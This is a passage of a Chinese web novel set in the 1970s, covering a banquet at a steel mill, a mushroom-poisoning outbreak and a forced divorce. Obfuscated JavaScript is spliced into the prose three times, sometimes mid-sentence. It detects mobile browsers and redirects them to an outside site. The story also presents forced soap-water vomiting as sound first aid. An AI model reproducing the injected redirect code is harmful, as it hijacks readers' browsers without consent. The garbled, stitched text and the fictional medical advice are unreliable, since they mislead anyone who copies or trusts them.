猪油炼得差不多了，面剂子也发酵好了，赵小霜没有来得及去山里找野荠菜，黑市也没有买到，所以她今天把馅料改成了豆角猪油渣和酸菜粉条猪油渣，豆角焯过水切碎，和猪油渣碎一块翻炒调味。酸菜粉条都提前泡过洗过，切碎和猪油渣拌在一起，加一点葱姜和调料粉，最后加两勺猪油搅和均匀，粗粮团子的馅料就准备好了，包好以后放进笼屉里醒发一会儿，等快到中午的时候，用热水蒸个二十来分钟就可以上桌了。 砂锅豆腐和冰豆花都要用到豆子，外边能买到的豆腐赵小霜不太满意，所以只好自己磨豆浆做豆腐了，好在需要的不多，她找了两个厨房里年纪比较小的帮工，帮她磨好了豆浆，过滤煮熟，点上了盐卤，不一会儿，豆浆就凝固成了豆腐花，赵小霜按人数把豆腐花舀进碗里，放到后厨的冰柜里降温。剩下的豆腐花静置一会儿，表面盖上纱布，用重物压着，把多余的水分压出去，豆腐花就变成了更紧实的豆腐，用来炖砂锅刚刚好。 这些东西都准备好了，赵小霜又开始准备菜，红烧肉她准备加一些板栗进去，这些板栗是赵小霜前几天刚在山上捡的，吃起来有一股额外的香甜味儿，因此赵小霜准备把土豆红烧肉换成板栗红烧肉，板栗比土豆还要难熟，要焖更长的时间，所以先做板栗红烧肉。 赵小霜先用热锅把几条五花肉的皮烫过，再用刷子把表面刷干净，这一步主要是为了把没夹干净的猪毛烧干净，同时也能去掉猪皮的异味。 处理好的猪肉切成麻将大小的方块，放进锅里煎到两面微焦出油再捞出来，用锅里的油炒一个糖色，把五花肉块再倒进去，和香料一块翻炒出香味儿均匀地沾上糖色，这个时候倒上没过猪肉的热水，开始焖煮，想要红烧肉软烂入味儿，最起码也要焖一个小时左右。 这个空档赵小霜也没有休息，她把萝卜丸子炸出来，红薯拉皮做好泡进冰凉的井水里，毛肚、豆芽、蔬菜都提前焯好水，这个时候就已经是上午十点了，赵小霜能隐约听到外边的大喇叭在放音乐，这个年代的播音设备基本是全损音质，所以赵小霜只能听到嘈杂的动静，一点也听不出来到底在放什么歌。 她把鲤鱼捞出来，快准狠地把鱼敲晕，再利索地把鱼肚子剖开，去掉内脏、鱼鳃，面不改色地用流动水把鱼鳞刮掉，把血清洗干净，改花刀，旁边的张宝恩师傅看了，也不免对这个小姑娘有了一丝“敬佩”。 红烧肉炖煮了一个小时以后，已经隐约有了丝丝的香味儿，赵小霜把锅盖打开，把提前煮好剥好的板栗倒进去，继续焖煮。 赵小霜看了一眼时间，赶紧先把凉菜都用料汁拌起来，分盘摆出去，又跑回后厨把鱼裹上淀粉炸熟，把野菜团子上锅蒸上，毛血旺的调料下锅炒制。 四个凉菜六个热菜一个主食一个甜品，一个人做其实是非常耗时耗力的，又是蒸又是炒又是炖又是煮，一般人还真做不过来。好在赵小霜已经有充足的经验，而且她前几天已经把所有的菜需要的食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894073|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材、处理方法、处理时间列了出来，提前在纸上“演习”了一次，已经把做菜和上菜的时间都规划好了，整个流程交叉有序地进行，没出一点岔子，赵小霜一个人简直就成了一个厨师团队。 糖醋萝卜丸子最先上桌，这个时候活动已经差不多结束了，有几个领导先进了食堂，赵小霜等了一会儿，看人差不多齐了，把板栗红烧肉和干烧鱼端了出来，干烧鱼的酱香味儿一下就吸引了不少人，食堂也把杂粮饭端了上来，红烧肉软烂滑溜，肥肉的部分肥而不腻，进嘴里一抿就化了，肥腻的油脂被板栗吸收了，吃肉的时候能尝到板栗的香味儿，吃板栗的时候，又能尝到肉的香气，配上杂粮饭一口闷，那味道简直绝了。 赵小霜上完菜，又回后厨把毛血旺、猪油炒青菜和砂锅豆腐白菜做好，找人把这些菜和猪油渣粗粮团子一块端到了桌上，这次的席面就基本上结束了。她也终于能喘口气，坐下来休息一会儿了。 后厨的人也差不多做完了饭菜，几个人都聚在一起准备自己吃饭了，赵小霜赶紧起身，招呼大家和她一块吃饭，赵小霜一开始做的时候，就每个菜都多做了一些，她在后厨少不了麻烦人家，前几天她来这边明显能感觉有人看不惯她，毕竟招待领导这个事儿本身就是“肥差”，拿着采购证，买东西都非常方便，大家都以为会交给食堂内部的人来做，结果突然来了这么一个不认识的年轻小姑娘，换谁都会不服气。 赵小霜可以理解这些人的情绪，因此也就更加感谢这两天愿意帮她忙的张宝恩师傅和几个年轻的师傅，她把做好的菜都摆盘放桌子上，招呼大家一块吃，几个帮过她忙的人率先坐下来开始吃，张师傅忙了一上午了，也已经饥肠辘辘，他直接和几个人一块坐下来，就大口大口地吃上了。本来几个背后说赵小霜闲话的人，看大家吃得这么香，肉香味儿又一直往他们鼻子里钻，也没忍住过来夹了几筷子红烧肉，拿了粗粮团子吃。 这一吃，几个在背后嚼舌根子的人一下就安静了，为首的一个中年男厨师，他前几天还“信誓旦旦”地和其他人说赵小霜肯定是找了关系，还不知道怎么得到这个机会的。就今天上午，几个人还凑在一块说闲话：“一个年轻小姑娘，能有多好的厨艺？谁知道是不是私底下有什么见不得人的事情。” 咬下粗粮团子的第一口，几个人的脸色就变了，他们从来没有吃过这么好吃的粗粮团子，一般的粗粮团子舍不得放肉放油，里边加点野菜豆渣子，吃起来又喇嗓子又噎得慌，味道也寡淡得很。而赵小霜这个团子表面光滑不说了，吃起来也绵软柔润，配上豆角的蔬菜香和猪油渣的油香，比国营饭店的肉包子都要好吃！ 这下几个人无话可说了，都默默地在一边吃着饭，而赵小霜这桌子就热闹多了，西顺县的人基本上都没吃过毛血旺和麻酱拉皮，毛血旺虽然很辣，但大家都抱着尝鲜的心态，不一会儿就吃空了。整个后厨欢声笑语，一时好不热闹。 25. 我女儿怎么会怀孕呢？ 赵小霜大概吃了两口，就把冰柜里的豆花拿出来，分成两边摆放，一边的冰豆花倒上红糖浆或者茉莉花蜜，另一边的则舀上一勺桂花蜜，倒上一些酒酿，一共做成三种口味，就可以直接端上桌了。 赵小霜把冰豆花都端上桌以后，安静丽和旁边的领导说：“今天的这些菜，都是这位小同志做的。” 旁边的大领导穿着干净笔挺的中山装，他扫了一眼桌子，开口问道：“小同志，你今天做的饭菜很创新，只是我们现在都有餐标要求，你做了这么多菜，会不会超标了啊？” 领导的怀疑不无道理，一般的招待餐，有两三个素菜，两个荤菜，一份主食，就已经是很不错的了。而赵小霜这个一桌子就做了十道菜，两个主食，现在还又端上来了甜品。大领导眯了眯眼睛，每个地方都有这种想溜须拍马的人，如果钢铁厂为了讨好领导而忽视硬性规定，这就是资产阶级作风，是绝对不允许的。 安静丽看了看赵小霜，赵小霜大大方方地和领导们打了招呼，不紧不慢地汇报道：“鲤鱼三毛五分钱一斤，这三条鱼一共十二斤，四块二毛钱。猪肉一共买了十四斤，九块八毛钱。板栗是我自己在山里摘的野板栗，按市场价一毛钱一斤算，豆腐是我自己磨的，一斤黄豆一毛七分钱……” 赵小霜早就把这些都算得清清楚楚了，她把材料的价钱和花费一条条列了出来：“……辣椒、花椒、草果等调料一共花了三块两毛钱，最后人均算下来一个人是两块一毛六分钱，没有超餐标。” 安静丽满意地点点头，看向领导：“您就放心吧，钢铁厂一直秉持着节俭节约的原则，铺张浪费和大手大脚是我们绝对不允许的。” 几个领导也露出满意的神色，赵小霜松了一口气，却用余光撇到了旁边的桌子上的王雪兰，她梳着不合年龄的麻花辫，坐在王利民的旁边，正和几个领导聊着天。王雪兰怎么会在这儿？赵小霜盯着王雪兰，一时没有挪动。 安静丽跟随赵小霜的视线看过去，又低声和赵小霜说：“那是王厂长的闺女，怎么，你认识？” 上一世林秀英去世以后，赵小霜就几乎没有再回过家了，所以对王雪兰的了解也很少。怪不得，怪不得王雪兰能去炼钢车间找赵令强，原来王雪兰是王利民的闺女，所以她可以在钢铁厂里自由活动，也不用怕别人说闲话，毕竟她是厂长的闺女，来钢铁厂也是很正常的事情。只是赵小霜想不明白，王雪兰一个厂长的女儿，到底看上赵令强什么了？ 赵小霜摇摇头：“没事，我认错人了，安厂长，你们慢慢吃，我先回后厨了，有什么事您再叫我。” 赵小霜回后厨收拾了一下东西，她把自己做毛血旺和干烧鱼的调料配方都写了下来，连同没用的几块红油底料和桂花蜜都一起送给了张宝恩师傅。 赵小霜前两天已经写好了举报信，最近这段时间她怕影响自己在钢铁厂挣钱，一直没有揭发他们俩。今天活动结束以后，她就直接把这个举报信交给厂里的领导，忍耐这么久，也终于到了清算的时候！ 下午的活动主要是文艺汇演和表彰先进，赵小霜跟着职工们坐在操场的台阶上有一搭没一搭地看着，这个时候不管哪个厂，文艺汇演基本上都是东方红、咱们工人有力量和歌唱祖国，表彰先进会发搪瓷杯、钢笔和奖状，等表彰会结束以后，就是给职工们分发福利的环节了，赵小霜这下来了兴趣，她真想看看到底是谁和自己做出来了一样的酱菜。 赵小霜远远地看到赵令强给台上搬了几箱子东西，王利民和王雪兰从箱子里拿出来给大家分发，赵令强？居然是赵令强？！ 这下赵小霜明白了，王利民那天拿了她的酱菜回去，王雪兰就和赵令强学着她的酱菜照猫画虎做出来差不多的东西。而王雪兰又是王利民的闺女，直接便宜卖给厂里，肥水不流外人田，能挣一大笔钱，还能压制赵小霜，王雪兰的这个算盘打得不可谓不聪明。 赵小霜冷笑一声，不是冤家不聚头，不过这两个人也得意不了太久了，她把手伸进兜里，捏了捏折叠好的举报信。终于最后一个诗朗诵节目也结束了，几位领导讲话以后，今天的活动宣布结束散场，赵小霜起身，往办公楼走去。 “厂长！有人晕倒了！” 还没等赵小霜走下台阶，就听到一阵骚乱，“让一下！让一下！有孩子晕过去了！” 这是怎么回事？赵小霜被人流推着往前走，直到前边堵的水泄不通再也前进不了，她隐约听见有人说“刚说肚子疼头晕，突然一下就没反应了”，她赶紧扒开人群挤到前边，一个五六岁的小孩倒在地上，不停地抽搐着，呼吸急促，满头满脸都是汗。中午询问赵小霜席面费用的领导冲了进来，神情因为焦虑和紧张变得扭曲，看到地上的小孩，他腿一软差点摔倒：“这是怎么回事？小峰这是怎么了？叫医生！快叫医生！” 赵小霜看这个小孩嘴角流口水，加上刚才旁边人说的头晕腹痛等症状，判断他是食物中毒，赵小霜大喊着：“谁有肥皂？！快！肥皂和热水！” 旁边有人把刚才表彰先进得到的光明牌肥皂拆开了递给赵小霜，有人远远地挤进来，让人群传进来一盆热水，赵小霜对着肥皂又刮又掰，然后泡进水里搅拌，等全部融化以后，她把小孩扶起来，就要给小孩灌水。一旁的领导却紧张了起来，他拦住赵小霜：“你要干什么？” “领导，小峰这是食物中毒了，而且不是普通的中毒，不赶紧催吐的话，怕是会损伤肝肾，这里离医院最快也得二十分钟，小峰怕是坚持不了那么久了！” 赵小霜也不顾不得那么多了，她直接捏着小峰的嘴，把肥皂水灌了下去，然后用手指头压着他的舌根，小峰“哇”的一声就吐了出来，赵小霜又给他催吐了两次，用清水把口腔鼻子冲洗干净，这个时候小峰已经明显恢复了意识，但还是止不住地抽搐。 赵小霜也着急了，她头上的汗珠不停地滴落下来，她准备再用盐水试一下催吐，这个时候，远处传来几声呼喊：“医生来了！医生来了！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906540|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 人群自动让开一条道路，两个医生背着医药箱跑了过来，接过小峰，做了简单的检查：“食物中毒，有没有催吐？今天吃了什么？” “吐了，吐了，刚才把东西全都吐了。”小峰的爸爸赶忙在旁边回答。 “谁有车，现在立刻送孩子去医院。” 几个职工早就把车推过来了，一个人自告奋勇送小峰去医院，赵小霜还没来得及喘口气，又听到有人喊：“又有人晕倒了！” 整个钢铁厂简直乱成了一锅粥，赵小霜赶紧又做了两盆肥皂水，告诉周围的人怎么催吐，然后再赶紧送医院。 赵小霜处理完这些，也跟着几个人去了医院，离钢铁厂最近的还是周翊凡在的医院，赵小霜坐着不认识职工的自行车赶到了县医院，跑进急诊，就听到护士和领导说：“催吐很及时，已经没事了，挂个盐水补一下液，今天和明天禁食禁水。” 赵小霜也终于松了一口气，一屁股瘫坐在了椅子上。 “你们谁是王雪兰的家属？”从急诊室走出来一个年纪稍长的护士，手上拿着就诊单，左右喊着：“谁是王雪兰家属？” “我是，我是她父亲，我女儿怎么样了？”王利民从旁边跑过去，一脸着急，赵小霜没想到王雪兰也进医院了，她扭头往门外一看，果然看到了赵令强。 “你女儿没有大碍，但是你们家属也太不细心了，她一个孕妇，怎么能让她乱吃东西？” 护士长开了一个缴费单：“去缴费吧，她得住院检查一下，也不知道肚子里的孩子有没有事。” 护士长的声音不大，却像平地惊雷一样把这里炸开了锅，尤其是厂里的几个员工，大家都知道王厂长的女儿大龄未嫁，这怎么突然都有孩子了？ 王利民也慌了，他抓住护士长，急切地问道：“大夫，会不会看错了？我女儿怎么会怀孕呢？” 护士长把单子递给王利民：“检查结果是这样的，有疑问的话再去做个复查。” 王利民还要再说些什么，护士长也没理他，转头就走了，这一大屋子的病人，她忙都忙不过来呢。 怀孕了？赵小霜上一世并不知道自己同父异母的弟弟是什么时候出生的，也从来没见过，只当是赵令强再婚以后生的二胎，如果这一世和上一世一样的话，推算下时间，林秀英还没和赵令强离婚，赵令强就有了这个私生子？ 赵小霜气愤不已，上一世的林秀英究竟受了怎样的委屈，她没有和赵小霜讲，赵小霜也不知道这些事，在她还没来得及回家的时候，林秀英就撒手离去了，赵小霜连她最后一面都没有见到。 想到这里，赵小霜的内心一阵一阵地抽痛着，对林秀英的愧疚几乎让她喘不上气来，她狠狠地掐了自己的手心，让自己从情绪中脱离出来，王雪兰怀孕对赵小霜来说是有利的局面，赵令强一直想要儿子，而且王利民知道闺女怀孕，一定会想方设法让闺女赶紧嫁出去的。赵小霜要赶紧捅破这个窗户纸，逼迫赵令强和林秀英离婚。 26. 离婚！马上离！ 赵小霜几乎是“闯”进了就诊室，王利民已经去缴费了，赵小霜寻找着王雪兰的床位，刚才的护士长看她进来，出声阻止：“哎，不是家属不要进来！” “姐，我是王雪兰的家属，王雪兰是我小姑，她怎么样了？” “你是她侄女儿啊，她现在没什么大事，但是她已经怀孕三个多月了，你们家属都不知道吗？一会儿她得转去住院部检查，今天禁食禁水，你照看着点啊。” 护士长说完就又去照看下一个病人了，赵小霜找到了王雪兰的床位，她现在还昏睡着，手上吊着水，床栏上贴着她的信息，“王雪兰，女，31岁，床号6，孕15周”。 赵小霜看到了王雪兰床头的病历单和检查单，但这个时候没有什么超声检查，只有医生写的一行字：“食物中毒，疑似怀孕。” 赵小霜心下有底了，她直接走出大门，直直地找到了赵令强，还不等赵令强开口，她就说道：“王雪兰怀孕了。” 赵令强还没来得及对赵小霜横鼻子竖眉毛，就被这个消息打了个措手不及，他瞪大了眼睛，不可置信地看着赵小霜。 “真的？” 赵小霜心里冷笑，这个蠢人，甚至没有反应过来赵小霜是怎么知道王雪兰和他俩之间的腌臜事的，她点点头：“对，我刚看到她的诊断单了，她已经怀孕三四个月了，大夫看了，说是个男孩儿呢。” 赵小霜添油加醋地给赵令强说着，她知道赵令强对“传承香火”的渴望，故意加上了男孩儿几个字。 赵令强顿时露出了兴奋的神情，李翠香天天念叨着要个孙子要个孙子，林秀英的肚子不争气，一直没有动静，眼看着两个人年纪都大了，赵令强也常常感到绝望，难道老赵家的香火就再也传承不下去了吗？ 赵令强还有两个兄弟，生的也都是女孩儿，李翠香经常半夜哭着闹着骂林秀英：“我们老赵家的香火到你这儿都断了！你这个不争气的东西！连个儿子都生不出来！”赵令强两个兄弟的老婆都是职工家庭出身，父母都有工作，娘家比较强势，李翠香从来不敢在那边闹，也就揪着林秀英一个人又打又骂的。 这下好了，他们千盼万盼的“香火”终于来了，赵令强咧着嘴，一脸激动：“天可怜我老赵家，终于不会绝后了！” 赵小霜一盆冷水泼过来：“我知道奶奶一直想要个孙子，但是你想过没有，你现在和王雪兰是见不得人的关系，你儿子一出生就是私生子，你觉得王利民会怎么处理他？这孩子能认回来赵家？” 赵令强的脸上兴奋之情还没有退去，又露出了一丝狠戾：“我的儿子，我凭什么不能带回赵家！” 赵小霜又开口道：“你如果想要这个孩子，就和林秀英离婚，娶王雪兰，王雪兰未婚先孕，今天厂里的好多职工也都知道了，你现在站出来，王利民为了面子也会同意。” 赵令强恶狠狠地看着赵小霜：“原来你是这个意思，我告诉你，她跟了老子，生是老子的人，死是老子的鬼！还离婚，是不是你妈教你说的？等她回来看我不撕烂她的嘴！” 赵小霜见赵令强这个样子，直接掏出了口袋里的举报信：“赵令强，你不要以为大家不知道你和王雪兰的事，这几天我已经收集了证据，你乱搞男女关系，生活作风有问题，这是很多人都知道的，如果你不同意离婚，这张举报信明天就会出现在厂长的桌子上。还有，你和王雪兰做的酱菜让大家食物中毒了，你觉得你能全身而退？” 赵小霜观察着赵令强的表情，继续说道：“如果我是你，就赶紧把你俩的事儿闹到明面上娶了王雪兰，王利民为了自己闺女，说不定还能保住你的工作，不然……” 赵令强伸手就抢过赵小霜的举报信撕了起来，赵小霜后退一步，冷笑道：“你以为我就写这一份？男女作风问题尚且不是小事儿，今天这么多人食物中毒，你觉得，公安会不会给你安一个投毒的罪名？到时候神仙都救不了你，你等着蹲大牢吧！” 赵令强眼睛都瞪红了：“你凭什么说是我做的酱菜让大家食物中毒了？！你别以为我不知道，你这两天也在厂里做饭，说不定是你做的饭把大家吃中毒了，现在想推到我身上！” “赵令强，你动动脑子吧，我做的菜只给几个领导吃了，只摆了三桌，今天因为中毒进医院的可大部分都是职工，他们压根没吃我做的东西，偏偏在你发完酱菜一个小时以后大家就中毒了，世界上哪有这么巧的事？” “你要真是个聪明人，现在就该想办法抱个大腿，而不是在这里和我大吼大叫，到最后人财两空，工作也丢了，可别怪我没提醒你。” 赵小霜说完，头也不回地走了。 赵小霜很了解赵令强，他是个利欲熏心、自私自利的人，今天这个食物中毒马上就能查清是他和王雪兰的酱菜导致的，王雪兰是王利民的亲闺女，真出了事赵令强会第一个被他推上去挡枪，只有和王雪兰结婚了，王利民才不得不保他。 只要赵令强还想要自己的工作和儿子，他就必须和林秀英离婚，正好林秀英也回娘家一个月了，只要对外说他俩已经离婚，就可以顺理成章地娶王雪兰进门。 赵令强嘴角露出一丝邪笑，他完全不在乎王雪兰的名声，他要利用这次机会把事情闹大，让全厂人都知道王雪兰肚子里的孩子是他的，让王利民不得不接受他这个女婿。 至于他自己的名声嘛，他只不过离婚再娶而已，虽然也会有人背后说闲话，但是说不定都会嫉妒他“攀上高枝变凤凰”了，娶两次老婆，还说明他有魅力呢！不管什么时候，这种事情上，大家对男人总是更宽容一些。 赵令强几乎是立刻就做好了决定，林秀英只是个不能下蛋的瘟鸡，又穷又老，王雪兰虽然长得不怎么样，可她是厂长的女儿，如果赵小霜说的是真的，他这次还真有可能被抓去坐牢，必须得有个靠山才行。而且王雪兰现在还怀了他的宝贝儿子……离婚！马上离！ 还不等赵小霜走进屋里，赵令强就追了上来：“明天上午把你妈带过来，去街道办离婚。”说完，他就急急忙忙地冲进了急诊室，去找王雪兰了。 回到急诊室，小峰已经清醒了，正躺在床上左顾右盼的，领导坐在他旁边，显然刚才也被吓到了，这下终于也放松下来，露出了一脸疲色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15910794|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。看到赵小霜，他又有些激动地站了起来：“小同志，刚才真是太谢谢你了，医生说很可能是神经性中毒，还好催吐及时，要不是你……真的太感谢了，你说这是怎么搞的呢，突然一下……” 赵小霜心里已经有了猜测，这几个人的症状表现都很类似，如果是因为食材不新鲜了导致的食物中毒，患者顶多是呕吐和拉肚子，不会抽搐甚至昏厥，而酱菜里的原料也都是日常大家常吃的，不至于有这么大的毒性。唯一的可能就是赵令强对蘑菇的认识不多，做鸡枞菌的时候里边混进了灰花纹鹅膏菌或者花褶伞菌也不知道，赵小霜上山采摘的时候，就经常发现这两种毒蘑菇，它们都是剧毒的，长得和鸡枞菌有些相似，不仔细观察很有可能弄混，而且吃下去半个小时毒性就会发作，会直接伤及神经和肝肾。 但赵小霜并不能直接下定论，她只能点点头，又让领导坐下歇着，好在这几个职工都没有吃太多油鸡枞，大家催吐也及时，并没有造成更大的危害，几个程度轻的到医院就没什么事了，已经由安厂长安排送回了家。 看大家都也没什么危险了，赵小霜也准备回家了，刚才忙乱中跟着大家过来医院，她自己的车还停在钢铁厂，她准备走回去把车骑上再回林家庄，也顺便告诉林秀英离婚的好消息。 “赵小霜？” 身后传来周翊凡的声音，赵小霜扭头：“周医生？好巧啊，你今天也值班？” 周翊凡解释道：“今天突然来了好几个病人，这边忙不过来了，临时把我们从住院部叫过来的，你怎么了？哪里受伤了？”周翊凡有些紧张地上下打量了一下赵小霜。 赵小霜赶紧摆摆手：“不是我，我没事，钢铁厂的人食物中毒了，我跟着过来的。” 赵小霜把来龙去脉给周翊凡讲了一遍，也顺带讲了自己的猜测，周翊凡点点头：“今天来的这几个我们确实怀疑是吃了毒蘑菇了，有神经中毒的迹象。”他说完又摘了口罩：“我送你去钢铁厂吧，走过去也得一阵儿呢。” 赵小霜正要摆手拒绝，周翊凡就直接往门口走了：“正好我也下班了，顺路。” 赵小霜只好跟着他往出走，周翊凡突然又回头说：“以后尽量不要卖酱菜了，尤其是油鸡枞，这个做法不难，总会有人模仿着做来吃或者拿来卖，你能认出来毒蘑菇，其他人不一定有这个能力。” 周翊凡担心以后有人吃坏了找赵小霜的麻烦，不一定每次都这么恰好能有人帮忙催吐送医院，万一出了人命…… 说完，又看了看赵小霜的表情，周翊凡知道赵小霜家里的情况，她很大一部分收入都是靠卖酱菜，他现在这样说，简直就是让人家不要挣钱了，结果赵小霜却果断地点了点头：“不瞒你说，其实我刚才也在想这个事情，如果再发生这样的事，又没有及时处理的话，后果不堪设想。” 不能贩卖油鸡枞和酱菜对赵小霜来说倒不是什么大事，她会做的东西很多，而且也一直在尝试做新的菜品。等她去了川阳市，可以再根据当地的食材开发一些新的菜品，不过这些她没有和周翊凡说，只是答应了他以后不再做油鸡枞和酱菜来卖了。 27. 酿桂花酒 回到家赵小霜连水都顾不上喝，就跑出去找林秀英，林秀英正和几个人大婶一块在地里挖红薯，赵小霜先笑着和大婶们打了招呼，又扭头和秀英说：“妈，我刚蒸了窝窝头，一会儿你叫舅舅他们也回来吃饭啊。” 当着这么多人的面她不好说，也只好等晚上大家到家了再宣布这个好消息了。 赵小霜回来灌了一大杯水，她今天除了身体累，精神也高度紧张，现在回到家以后几乎整个人都要瘫软了，她想着晚上做点啥吃的，还没想明白，就直接昏睡了过去。 再次醒来天已经黑了，屋里点了一盏煤油灯，外边没有月亮，院子里也黑乎乎的，林秀英和林建业刚把饭菜端进来，赵小霜就一骨碌坐了起来，林建华从柜子里拿了碗筷，笑道：“小馋猫闻着饭味儿了是吧，刚才我们回来你睡得可死了，叫了几声也叫不醒，这下倒自己醒了。” 林建业晚上回来得早，他见赵小霜七扭八歪地睡着，估计她今天忙活一整天也累了，就没有叫她。林建业会做的东西不是很多，但他包的包子皮薄馅儿大，蓬松暄软，肉馅多汁鲜美，吃过的人没一个说不好的。 往常只有逢年过节才可能包几个肉包子吃，现在家里光景好了起来，最近大家又都累，林建业取了三斤猪肉剁成馅儿，又切了一些大葱和白菜，加上猪油、胡椒粉、盐、生抽等调料搅匀。这次他直接取了小麦粉和面，没有再加玉米面或者高粱面，等面醒发好了，再包好上锅蒸，包子的收口小而精致，旋转的褶子均匀漂亮，光看外表就已经让人赏心悦目了。 林秀英和林建华到家以后，又做了个鸡蛋汤，炒了一个酸辣土豆丝，三个人丁零当啷地忙活了半天，赵小霜睡得一动都不动，今天真是累惨了。 林建华还在笑赵小霜，她坐起来看了一会儿，突然想起来什么似的，翻身跳下炕：“妈，舅舅，赵令强同意离婚了！” 这对林家人来说是天大的好消息，林秀英满脸的不可置信：“妮儿，你怎么办到的？他真同意了？” 赵小霜猛猛点头，她一把拉住林秀英的手。 “妈，他真同意了！明天上午我们就去县里办离婚！” 林秀英的眼泪夺眶而出，嘴角却是笑着的，林建华也高兴地恨不得跳起来，林建业点了点头：“好，这样好，姐以后再也不用担惊受怕了。” 一家人情绪复杂，但整体还是非常高兴的。赵小霜边吃边给大家讲了今天的故事，也终于把王雪兰的事情公之于众，赵小霜本来担心林秀英会伤心，没想到她只是淡淡地“嗯”了一声，赵小霜有些讶异，她问：“妈，你早就知道吗？” 林秀英笑着摇摇头：“我不知道，但是这是好事儿，如果没有王雪兰，就算我们离婚了，也保不准赵令强再找上门来纠缠我们，现在他有新的家庭，我们就彻底解放了呀。” 赵小霜也笑了，她狠狠地吃了一口大包子，太香了，重生回来这一世，她和面几乎都是混着粗粮，已经好久没有吃这种纯白面发酵的大包子了，林建业也笑，平时沉默寡言的他也难得话多了起来。 “你记不记得你小时候回来林家庄，舅舅也是做了猪肉白菜包子，一个没看住，你连着吃了三个，还要拿第四个，当时我们都怕你撑坏了，好不容易才从你手里抢下来。那个时候你才五岁，还没到舅舅膝盖高呢。” 赵小霜自然是记不起来了，林秀英也笑了：“我和你大舅光顾着从你手里抢，你小舅转头拿了五个抱着就跑，那天晚上吃撑了睡不着觉，一晚上哎哟哎哟地叫唤。” 林建华那个时候已经七八岁了，他显然记得这个事情，不好意思地咧嘴笑了笑：“都怪哥做的包子太好吃了呗！” 那个时候比现在还要艰苦，林建业当时包的虽然也是猪肉白菜包子，但是基本都是白菜，只混了一点点零星的猪肉沫，就这样几个人也吃得狼吞虎咽的，因为平时还经常吃不饱饭，能闻着点荤腥味儿都已经是很不容易的了。 这一晃就过了十几年，家里光景稍微好了一些，自从赵小霜回来做生意以后，整个林家简直像坐了火箭一样，短短一个月，家里添置了自行车，修了屋子，换了城里人才用的玻璃窗户，还在非节非年的时候包了一顿纯白面的猪肉包子！放在过去，真是做梦都不敢这么做！ 第二天一大早天还没亮，赵小霜就激动地醒了，见林秀英还睡着，她就轻手轻脚地出了院子，屋子外墙已经贴好了保温层，比之前看着干净整洁不少，院墙根底林建业已经给她修了两个畜圈，里边的兔子正嘎吱嘎吱啃着麦秸秆。 昨天干的活儿太多，赵小霜活动了半天酸痛的手臂，又揉又捏，仍然无法缓解那种肌肉的抽痛，但疼就说明要变壮实了，这是林建华告诉她的，林建华虽然瘦，但是这几年干农活也长出了一身腱子肉，赵小霜是很信他的，所以她虽然疼，却也因为“要长肌肉”了而感到十分的兴奋。 院子里还晒了几箩筐干桂花，赵小霜一出门就浸泡到了满院子的金桂香里。家里桂花蜜还有不少，一时半会也吃不完。赵小霜灵机一动，家里还有两瓶白酒，正好可以用来酿桂花酒啊！等到深秋的夜晚，一家人围坐一起煮个小火锅，小酌一杯花香四溢的桂花酒，光是想想都觉得幸福死了。 说干就干，赵小霜把用酒把洗干净煮过的玻璃罐子过一遍，把干桂花倒进去，拿一大块冰糖压着，再把高度白酒咕咚咕咚倒进去，密封好了等七天左右就可以喝了。桂花酒不能高温不能直晒，赵小霜收拾好以后，把两罐子桂花酒都搬进了厢房里，这个时候东边已经露出了鱼肚白，林秀英也已经起床收拾好了，几个人把昨天的包子热上，又煮了个玉米碴子粥，赵小霜的酱菜还有半箩筐没卖出去，她也不准备卖了，除去送给同村的叔叔婶婶们，剩下的也正好够家里四口人吃个一礼拜的。 四个人就着油鸡枞和糖醋萝卜丁，呼噜呼噜地喝了两大碗碴子粥。今天赵小霜和林秀英去县里办离婚，林建业和林建华则要去交公粮。 赵小霜和林秀英出门的时候，大队已经组织大家一块装粮食了，收粮站设在隔壁的铁泉庄的村大队里，还好并不是特别远，林家庄的生产队雇了驴车，再让几个青壮年拉着板车搬一点，一般一天半就全都能搬完了。 还有更远的生产队，都得半夜两三点从村里出发，有的大队没有牲口，又借不来驴车牛车，就只能农民自己拉，一路上几班人轮换着，也得走七八个小时才能到收粮站，肩膀虎口脚底板磨破都是常有的事。 但交完了公粮，马上就会给各家各户分口粮了，这也是这个年代农村人为数不多能吃饱的时候，因此每个人的脸上都洋溢着期盼和希望的笑容，卖力地干着。 